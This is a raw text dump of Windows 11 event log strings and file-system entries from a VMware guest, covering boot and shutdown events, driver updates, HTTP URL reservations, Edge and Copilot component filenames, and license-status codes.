DESKTOP-8GBP982 WINDOWS11 5http://schemas.microsoft.com/win/2004/08/events/event User32 &{b0aa8734-56f7-41cc-b2f4-de228e98b946} User32 System DESKTOP-8GBP982 param1 param2 param3 param4 param5 param6 param7 C:\Windows\System32\CloudExperienceHostBroker.exe (WIN-FVPT9GE7NQP)WINDOWS11Operating System: Reconfiguration (Unplanned)0x20004restartNT AUTHORITY\SYSTEM Microsoft-Windows-Winlogon System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System DwordVal Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System windows11 10.00. 26200 Multiprocessor Free 480 Pacific Standard Time Windows 10 Pro 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699884e9 Not Available Not Available 2048 windows11 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Kernel-Power System ShutdownActionType ShutdownEventCode ShutdownReason Microsoft-Windows-Kernel-Power System AdaptiveTargetState IsUnattended Status Microsoft-Windows-Kernel-General System StopTime Microsoft-Windows-Kernel-General System MajorVersion MinorVersion BuildVersion QfeVersion ServiceVersion BootMode StartTime Microsoft-Windows-Kernel-General System SystemTime LoaderTime InternalBootFlags HalRtcErrorCode RealTimeIsUniversal IsSoftBoot Success Phase Microsoft-Windows-Kernel-Boot System Status EnableDisableReason VsmPolicy Microsoft-Windows-Kernel-Boot System LastShutdownGood LastBootGood LastBootId BootStatusPolicy Microsoft-Windows-Kernel-Boot System Status FailureReason Microsoft-Windows-Kernel-Boot System EfiTimeZoneBias EfiDaylightFlags EfiTime Microsoft-Windows-Kernel-Boot System BootMenuPolicy Microsoft-Windows-Kernel-Boot System BootType LoadOptions Microsoft-Windows-Kernel-Boot System EntryCount Microsoft-Windows-Kernel-Boot System BitlockerUserInputTime Microsoft-Windows-Kernel-General System UpdateReason EnabledNew CountNew CountOld Microsoft-Windows-HAL System Microsoft-Windows-FilterManager System FinalStatus DeviceVersionMajor DeviceVersionMinor DeviceNameLength DeviceName DeviceTime FileInfo Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System WdFilter Microsoft-Windows-Ntfs System DriveName DeviceName CorruptionActionState \Device\HarddiskVolume3 Microsoft-Windows-FilterManager System FileCrypt Microsoft-Windows-FilterManager System npsvctrig Microsoft-Windows-Kernel-Power System State Reason Microsoft-Windows-Kernel-General System \SystemRoot\System32\Config\SAMT Microsoft-Windows-Kernel-General System $\SystemRoot\System32\Config\SECURITYm Microsoft-Windows-Kernel-General System #\SystemRoot\System32\Config\DEFAULT Microsoft-Windows-Kernel-Processor-Power System Group Number IdleStateCount IdleImplementation NominalFrequency MaximumPerformancePercent MinimumPerformancePercent MinimumThrottlePercent PerformanceImplementation Microsoft-Windows-Kernel-Processor-Power System Microsoft-Windows-Kernel-General System .\Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD Microsoft-Windows-Ntfs System \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 Microsoft-Windows-Kernel-General System .\Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD Microsoft-Windows-Kernel-General System .\Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD Microsoft-Windows-Kernel-General System .\Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System windows11 Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Kernel-General System $\SystemRoot\System32\Config\SOFTWARE Microsoft-Windows-Kernel-General System .\Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD Microsoft-Windows-Kernel-General System Microsoft-Windows-Wininit System HRESULT NewLatchTimerNeeded *NewLatchTimerWaitingSystemUpdateCompletion #PreviousLatchTimerExistsButDisabled PolicyFileExists Microsoft-Windows-Wininit System HRESULT PreviousTimerExists PreviousTimerStartTime GracePeriod %AttemptedRecoveryEnforcementSucceeded Microsoft-Windows-Wininit System HRESULT NewTimerNeeded NewTimerWaitingUpdateCompletion PreviousTimerExistsButDisabled Microsoft-Windows-Wininit System Config IsTestConfig IsAutoEnabled Microsoft-Windows-Wininit System Level LsaSrv System HardwareChecks ADDomainJoin AADDomainJoin IsLicensed DomainController Microsoft-Windows-Directory-Services-SAM System %SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD Default SD String: O:SYG:SYD:(A;;RC;;;BA) Microsoft-Windows-Directory-Services-SAM System #SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT MinimumPasswordLength RelaxMinimumPasswordLengthLimits MinimumPasswordLengthAudit Microsoft-Windows-Directory-Services-SAM System 'SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF Microsoft-Windows-Kernel-General System 8\??\C:\WINDOWS\ServiceProfiles\NetworkService\NTUSER.DAT Microsoft-Windows-Kernel-General System 6\??\C:\WINDOWS\ServiceProfiles\LocalService\NTUSER.DAT Microsoft-Windows-Kernel-General System \SystemRoot\System32\Config\BBI Microsoft-Windows-FilterManager System applockerfltr Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System luafv Microsoft-Windows-FilterManager System wcifs Microsoft-Windows-FilterManager System UnionFS Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System storqosflt Microsoft-Windows-FilterManager System UCPD Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer windows11 Security UserID Microsoft-Windows-FilterManager System EventData Data FinalStatus DeviceVersionMajor DeviceVersionMinor DeviceNameLength DeviceName DeviceTime bindflt Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-Winlogon System TSId UserSid Microsoft-Windows-HttpService System ReserveStatus ProcessId ExecutablePath UserSid http://*:5357/ Microsoft-Windows-HttpService System http://+:80/Temporary_Listen_Addresses/ Microsoft-Windows-HttpService System https://*:5358/ Microsoft-Windows-HttpService System http://*:2869/ Microsoft-Windows-HttpService System https://+:5986/wsman/ Microsoft-Windows-HttpService System http://+:47001/wsman/ Microsoft-Windows-HttpService System http://+:5985/wsman/ Microsoft-Windows-HttpService System https://+:3392/rdp/ Microsoft-Windows-HttpService System https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ Microsoft-Windows-HttpService System http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/ Microsoft-Windows-HttpService System https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/ Microsoft-Windows-HttpService System http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/ Microsoft-Windows-HttpService System http://+:10247/apps/ Microsoft-Windows-HttpService System https://+:10245/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10243/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10246/MDEServer/ 5http://schemas.microsoft.com/win/2004/08/events/event Service Control Manager &{555908d1-a6d7-4695-8e1e-26931d2012f4} EventSourceName Service Control Manager System windows11 param1 uiomap Microsoft-Windows-DNS-Client System QueryName AddressLength Address ClientPID wpad Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber Microsoft Corporation Driver Update (10.0.26100.6700) Microsoft-Windows-WindowsUpdateClient System Broadcom Inc. - System - 9.8.30.0 Microsoft-Windows-WindowsUpdateClient System Broadcom Inc. - System - 9.8.30.0 ServiceName ImagePath ServiceType StartType AccountName VMware VMCI Bus DriverSystem32\drivers\vmci.syskernel mode driverboot start 5http://schemas.microsoft.com/win/2004/08/events/event vmci System windows11 Binary VMCI: Using capabilities (0x1c). Microsoft-Windows-WindowsUpdateClient System updateTitle updateGuid updateRevisionNumber serviceGuid Broadcom Inc. - System - 9.8.30.0 Microsoft-Windows-WindowsUpdateClient System Microsoft Corporation Driver Update (10.0.26100.6700) Microsoft-Windows-WindowsUpdateClient System Microsoft Corporation Driver Update (10.0.26100.6700) 5http://schemas.microsoft.com/win/2004/08/events/event User32 &{b0aa8734-56f7-41cc-b2f4-de228e98b946} User32 System windows11 param1 param2 param3 param4 param5 param6 param7 C:\Windows\System32\shutdown.exe (WINDOWS11)WINDOWS11No title for this reason could be found0x800000ffrestartwindows11\defaultuser0 Microsoft-Windows-Winlogon System 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System windows11 Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System DwordVal Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-Dhcp-Client System 10.00. 26200 Multiprocessor Free 480 Pacific Standard Time Windows 10 Pro 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699884e9 Not Available Not Available 2048 windows11 Microsoft-Windows-Kernel-Power System ShutdownActionType ShutdownEventCode ShutdownReason Microsoft-Windows-Kernel-Power System AdaptiveTargetState IsUnattended Status Microsoft-Windows-Kernel-General System StopTime Microsoft-Windows-Kernel-General System MajorVersion MinorVersion BuildVersion QfeVersion ServiceVersion BootMode StartTime Microsoft-Windows-Kernel-General System SystemTime LoaderTime InternalBootFlags HalRtcErrorCode RealTimeIsUniversal IsSoftBoot Success Phase Microsoft-Windows-Kernel-Boot System Status EnableDisableReason VsmPolicy Microsoft-Windows-Kernel-Boot System LastShutdownGood LastBootGood LastBootId BootStatusPolicy Microsoft-Windows-Kernel-Boot System Status FailureReason Microsoft-Windows-Kernel-Boot System EfiTimeZoneBias EfiDaylightFlags EfiTime Microsoft-Windows-Kernel-Boot System BootMenuPolicy Microsoft-Windows-Kernel-Boot System BootType LoadOptions Microsoft-Windows-Kernel-Boot System EntryCount Microsoft-Windows-Kernel-Boot System BitlockerUserInputTime Microsoft-Windows-Kernel-General System UpdateReason EnabledNew CountNew CountOld Microsoft-Windows-HAL System VMCI: Using capabilities (0x1c). Microsoft-Windows-FilterManager System FileInfo Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System WdFilter Microsoft-Windows-Ntfs System DriveName DeviceName CorruptionActionState \Device\HarddiskVolume3 Microsoft-Windows-FilterManager System FileCrypt Microsoft-Windows-FilterManager System npsvctrig Microsoft-Windows-Kernel-Power System State Reason Microsoft-Windows-Kernel-Processor-Power System Group Number IdleStateCount IdleImplementation NominalFrequency MaximumPerformancePercent MinimumPerformancePercent MinimumThrottlePercent PerformanceImplementation Microsoft-Windows-Kernel-Processor-Power System Microsoft-Windows-Ntfs System \\?\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} \Device\HarddiskVolume4 5http://schemas.microsoft.com/win/2004/08/events/event e1i68x64 System windows11 Intel(R) 82574L Gigabit Network Connection Microsoft-Windows-Kernel-General System ExitReason CurrentBias CurrentTimeZoneID TimeZoneInfoCacheUpdated FirstRefresh Microsoft-Windows-Wininit System HRESULT NewLatchTimerNeeded *NewLatchTimerWaitingSystemUpdateCompletion #PreviousLatchTimerExistsButDisabled PolicyFileExists Microsoft-Windows-Wininit System HRESULT PreviousTimerExists PreviousTimerStartTime GracePeriod %AttemptedRecoveryEnforcementSucceeded Microsoft-Windows-Wininit System HRESULT NewTimerNeeded NewTimerWaitingUpdateCompletion PreviousTimerExistsButDisabled Microsoft-Windows-Wininit System Config IsTestConfig IsAutoEnabled Microsoft-Windows-Wininit System Level LsaSrv System HardwareChecks ADDomainJoin AADDomainJoin IsLicensed DomainController Microsoft-Windows-Directory-Services-SAM System %SAMMSG_RESTRICT_REMOTE_SAM_DEFAULT_SD Default SD String: O:SYG:SYD:(A;;RC;;;BA) Microsoft-Windows-Directory-Services-SAM System #SAMMSG_MINPWDLEN_SETTINGS_IN_EFFECT MinimumPasswordLength RelaxMinimumPasswordLengthLimits MinimumPasswordLengthAudit Microsoft-Windows-Directory-Services-SAM System 'SAMMSG_AUDIT_LEGACY_PWD_RPC_METHODS_OFF Microsoft-Windows-FilterManager System applockerfltr Microsoft-Windows-FilterManager System Microsoft-Windows-FilterManager System wcifs Microsoft-Windows-FilterManager System luafv Microsoft-Windows-FilterManager System UnionFS Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System CldFlt Microsoft-Windows-FilterManager System storqosflt Microsoft-Windows-FilterManager System UCPD Microsoft-Windows-FilterManager System bindflt Microsoft-Windows-Winlogon System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-HttpService System http://*:5357/ Microsoft-Windows-HttpService System http://+:80/Temporary_Listen_Addresses/ Microsoft-Windows-HttpService System https://*:5358/ Microsoft-Windows-HttpService System http://*:2869/ Microsoft-Windows-HttpService System https://+:5986/wsman/ Microsoft-Windows-HttpService System http://+:47001/wsman/ Microsoft-Windows-HttpService System http://+:5985/wsman/ Microsoft-Windows-HttpService System https://+:3392/rdp/ Microsoft-Windows-HttpService System https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ Microsoft-Windows-HttpService System http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/ Microsoft-Windows-HttpService System https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/ Microsoft-Windows-HttpService System http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/ Microsoft-Windows-HttpService System http://+:10247/apps/ Microsoft-Windows-HttpService System https://+:10245/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10243/WMPNSSv4/ Microsoft-Windows-HttpService System http://+:10246/MDEServer/ uiomap Microsoft-Windows-DNS-Client System wpad Microsoft-Windows-Kernel-General System Microsoft-Windows-Kernel-General System NewTime OldTime TimeDeltaInMs Reason ProcessName ProcessID CmosTime TimeZoneBias RealTimeIsUniversal SystemInCmosMode \Device\HarddiskVolume3\Windows\System32\CloudExperienceHostBroker.exe C:\Windows\System32\CloudExperienceHostBroker.exe (WINDOWS11)WINDOWS11Operating System: Reconfiguration (Unplanned)0x20004restartNT AUTHORITY\SYSTEM Microsoft-Windows-Winlogon System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-Dhcp-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-DHCPv6-Client System Microsoft-Windows-Dhcp-Client System 5http://schemas.microsoft.com/win/2004/08/events/event EventLog System Windows11 10.00. 26200 Multiprocessor Free 480 Pacific Standard Time Windows 10 Pro 10.0.26200 Build 26200 Multiprocessor Free 26100.ge_release.240331-1435 699884e9 Not Available Not Available 2048 Windows11 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Kerne Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-User Profiles Service Application EventData Microsoft-Windows-WMI Application Microsoft-Windows-WMI Application 5http://schemas.microsoft.com/win/2004/08/events/event edgeupdate Application WIN-FVPT9GE7NQP Data Binary Service stopped 5http://schemas.microsoft.com/win/2004/08/events/event Microsoft-Windows-CAPI2 &{5bbca4a8-b209-48dc-a8c7-b23d3e5216fb} EventSourceName Microsoft-Windows-CAPI2 CTLs $I300 APPCON~1 AppContainerUserCertRead MEIPRE~1 MEIPreload $I300 manifest.json preloaded_data.pb MI4667~1.EVT Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData MICROS~2.MUI Microsoft.UI.Xaml.Phone.dll.mui WofCompressedData mip_core_gn.dll0 MIP_CO~1.DLL mip_core_gn.dll ur-PK $I300 Microsoft.ui.xaml.dll.mui Microsoft.UI.Xaml.Phone.dll.mui MICROS~1.MUI MICROS~2.MUI MICROS~1.MUI Microsoft.ui.xaml.dll.mui WofCompressedData mip_protection_sdk.dll MIP_PR~1.DLL mip_protection_sdk.dll MI2E2E~1.EVT Microsoft-Windows-Shell-Core%4ActionCenter.evtx MI8607~1.EVT Microsoft-Windows-Shell-Core%4AppDefaults.evtx MIEA98~1.EVT Microsoft-Windows-Shell-Core%4LogonTasksChannel.evtx MI9407~1.EVT Microsoft-Windows-Time-Service%4Operational.evtx MI34FE~1.EVT Microsoft-Windows-AppXDeployment%4Operational.evtx MIC123~1.EVT Microsoft-Windows-Crypto-NCrypt%4Operational.evtx MI7C34~1.EVT Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx MI1165~1.EVT Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtx mscopilot.exe MSCOPI~1.EXE mscopilot.exe $I300 msedgewebview2.exe MSEDGE~1.EXE msedgewebview2.exe msedgewebview2.exe.sig msedgewebview2.exe.sig.DATA0 msedgewebview2.exe.sig MSEDGE~3.SIG msedgewebview2.exe.sig msedge_100_percent.pak msedge_100_percent.pak.DATA0 msedge_100_percent.pak MSEDGE~1.PAK msedge_100_percent.pak msedge_200_percent.pak msedge_200_percent.pak.DATA0 msedge_200_percent.pak MSEDGE~2.PAK msedge_200_percent.pak msedge_elf.dll MSEDGE~1.DLL msedge_elf.dll msedge_proxy.exe MSEDGE~2.EXE msedge_proxy.exe MI9F85~1.EVT Microsoft-Windows-Diagnosis-DPS%4Operational.evtx SCREEN~2.ETL ScreenOnPowerStudyTraceSession-2026-02-20-17-01-17.etl msedge_pwa_launcher.exe0 MSEDGE~3.EXE msedge_pwa_launcher.exe msedge_wer.dll MSEDGE~2.DLL msedge_wer.dll msvcp140_codecvt_ids.dll MSVCP1~1.DLL msvcp140_codecvt_ids.dll onnxruntime.dll0 ONNXRU~1.DLL onnxruntime.dll PDFPRE~1 PdfPreview $I300 PdfPreviewHandler.dll MI483C~1.EVT Microsoft-Windows-NCSI%4Operational.evtx FONTCA~2.DAT FontCache-FontSet-S-1-5-18.dat ~FONTC~2.DAT ~FontCache-S-1-5-18.dat prefs_enclave_x64.dll PREFS_~1.DLL prefs_enclave_x64.dll APPLIC~1 Applications $I300 Windows Windows $I300 $I30 $I30 GATHER~1 Projects Windows-gather.db Windows.db WINDOW~1.DB Projects $I300 SystemIndex SYSTEM~1 SYSTEM~1 SystemIndex $I300 PropMap SecStore PropMap $I300 PropMap.db PropMap.db-shmr PropMap.db-walr PROPMA~1.DB-.DB PROPMA~2.DB- PropMap.db pwahelper.exe PWAHEL~1.EXE pwahelper.exe telclient.dll TELCLI~1.DLL telclient.dll TRUSTP~1 Trust Protection Lists $I300 manifest.json Sigma v8_context_snapshot.bin.DATA v8_context_snapshot.bin0 V8_CON~1.BIN v8_context_snapshot.bin SYSTEM~1 SystemIndex $I300 $I30 $I30 SystemIndex.1.gthr SYSTEM~1.CRW SYSTEM~1.GTH vccorlib140.dll0 VCCORL~1.DLL vccorlib140.dll vcruntime140.dll VCRUNT~1.DLL vcruntime140.dll vcruntime140_1.dll VCRUNT~2.DLL vcruntime140_1.dll VISUAL~1 VisualElements $I300 $I30 $I30 CopilotStable COPILO~1 COPILO~2 Logo.png INDEXE~1 IndexerVolumeGuid {CA3657EA-5C92-4C54-8978-63635BC8706D} QUICKL~1 Quick Launch $I300 $I30 $I30 4f}.tmp {D528E~1.TMP {e1d00fbc-7185-409c-989b-a44a9b63d778}.tmp MIA746~1.EVT Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx MID52B~1.EVT Microsoft-Windows-Application-Experience%4Program-Inventory.evtx vk_swiftshader.dll VK_SWI~1.DLL vk_swiftshader.dll vk_swiftshader_icd.json.DATA vk_swiftshader_icd.json0 VK_SWI~1.JSO vk_swiftshader_icd.json webview2_integration.dll WEBVIE~1.DLL webview2_integration.dll SenseTask.exe WofCompressedData $DSC 0276b2e8b1721733_0 0276B2~1ef2 11392614c4cbcb1c_0 113926~172d 127834be188950f6_0 127834~1465 21cec003ac3be0d2_0 21CEC0~18c2 27d135e2b3d8f86a_0 27d135e2b3d8f86a_0 27d135e2b3d8f86a_0 2abd083f112117f9_0 2abd083f112117f9_0 2abd083f112117f9_0 2abd083f112117f9_0 2abd083f112117f9_0 2abd083f112117f9_0 2ABD08~172d 2c7e7b3772d16a8f_0 2C7E7B~12f6 304eb13aa482c3b5_0 304EB1~1513 3f53090a2aa79d88_0 40dc2f5e5137af26_0 40DC2F~1d01 41fa6933cd44227d_0 41FA69~1d01 4cc43844d790e7e4_0 4CC438~17b1 50cb420d7b1c0463_0 50CB42~1d01 5a302385d01f8589_0 5A3023~12f6 5fa818e26785fcfa_0 5FA818~12f6 INDEX-~1 73e059ee107f3529_0 73E059~17f1 7990ebd5fe49d85a_0 7990EB~17f1 939496a402ef6a6b_0 939496~179c 975cd01179c9885c_0 975CD0~17f1 9e1dd830b1287e47_0 9E1DD8~17f1 a122d1ecf7712d83_0 A122D1~1ff2 a257861948c97488_0 A25786~1ff2 a711e53127c8b01a_0 A711E5~1a18 a96036f0a181189f_0 a96036f0a181189f_0 a96036f0a181189f_0 AAF765~1ef1 AAF765~1ef1 AAF765~1ef1 AAF765~1ef1 AAF765~1ef1 AAF765~1ef1 e194c2592c8db5f0_0 E194C2~1 e940fb986bb2a05b_0 E940FB~1173 eadc4a3b1732a9b5_0 EADC4A~13ea fe0653f83ea2e398_0 FE0653~1 index index-dir INDEX-~1 3f53090a2aa79d88_0 3F5309~1513 4cc43844d790e7e4_0 4CC438~17b1 50cb420d7b1c0463_0 50CB42~1d01 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5fa818e26785fcfa_0 5FA818~12f6 d2b8ca4e3b915757_0 D2B8CA~12c8 e940fb986bb2a05b_0 E940FB~1173 index index-dir INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 INDEX-~1 dminGroup-Policy Security-SPP-WriteWauMarker 5http://schemas.microsoft.com/win/2004/08/events/event Microsoft-Windows-Winlogon &{DBE9B383-7CF3-4331-91CC-A3CB16A3B538} Wlclntfy Application Windows11 WSearch SessionEnv 5http://schemas.microsoft.com/win/2004/08/events/event VMUpgradeHelper Application Windows11 5http://schemas.microsoft.com/win/2004/08/events/event VMTools Application Windows11 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-User Profiles Service Application Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Microsoft-Windows-Security-SPP Guid &{E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156} EventSourceName $Software Protection Platform Service EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Application Computer Windows11 Security UserID EventData Data Binary 55c92734-d682-4d71-983e-d6ec3f16059f 1: 01eb852c-424d-4060-94b8-c10d799d7364, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 2: 040fa323-92b1-4baf-97a2-5b67feaefddb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 3: 0724cb7d-3437-4cb7-93cb-830375d0079d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 4: 0ad2ac98-7bb9-4201-8d92-312299201369, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 5: 19de9b2f-0166-4abb-9534-56ea69a80edb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 6: 1a9a717a-cf13-4ba5-83c3-0fe25fa868d5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 7: 221a02da-e2a1-4b75-864c-0a4410a33fdf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 8: 265f3fad-6a1c-4bdd-ae30-c75efa556ccb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 9: 291ece0e-9c38-40ca-a9e1-32cc7ec19507, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 10: 2936d1d2-913a-4542-b54e-ce5a602a2a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 11: 2c293c26-a45a-4a2a-a350-c69a67097529, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 12: 2de67392-b7a7-462a-b1ca-108dd189f588, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 13: 2ffd8952-423e-4903-b993-72a1aa44cf82, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 14: 30a42c86-b7a0-4a34-8c90-ff177cb2acb7, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 15: 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 16: 3502365a-f88a-4ba4-822a-5769d3073b65, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 17: 377333b1-8b5d-48d6-9679-1225c872d37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 18: 3df374ef-d444-4494-a5a1-4b0d9fd0e203, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 19: 3ebce241-ea87-4946-8a4f-80d00e921dff, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 20: 3f1afc82-f8ac-4f6c-8005-1d233e606eee, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 21: 4322a811-697c-44dc-865e-3e2fdcb86009, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 22: 49cd895b-53b2-4dc4-a5f7-b18aa019ad37, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 23: 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c, 1, 1 [(0 )(1 )(2 [0xC004E003, 0, 0], [( 1 0xC004F034)( 1 0xC004F034)(?)(?)(?)(?)(?)(?)])(3 [0x00000000, 0, 0], [( 6 0xC004F009 0 0)( 1 0x00000000)( 6 0xC004F009 0 0)(?)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)( 11 0x00000000 0xC004F034)])] 24: 4f3da0d2-271d-4508-ae81-626b60809a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 25: 5d78c4e9-aeb3-4b40-8ac2-6a6005e0ad6d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 26: 60b3ec1b-9545-4921-821f-311b129dd6f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 27: 613d217f-7f13-4268-9907-1662339531cd, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 28: 62f0c100-9c53-4e02-b886-a3528ddfe7f6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 29: 6365275e-368d-46ca-a0ef-fc0404119333, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 30: 721f9237-9341-4453-a661-09e8baa6cca5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 31: 73111121-5638-40f6-bc11-f1d7b0d64300, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 32: 7a802526-4c94-4bd1-ba14-835a1aca2120, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )] 33: 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 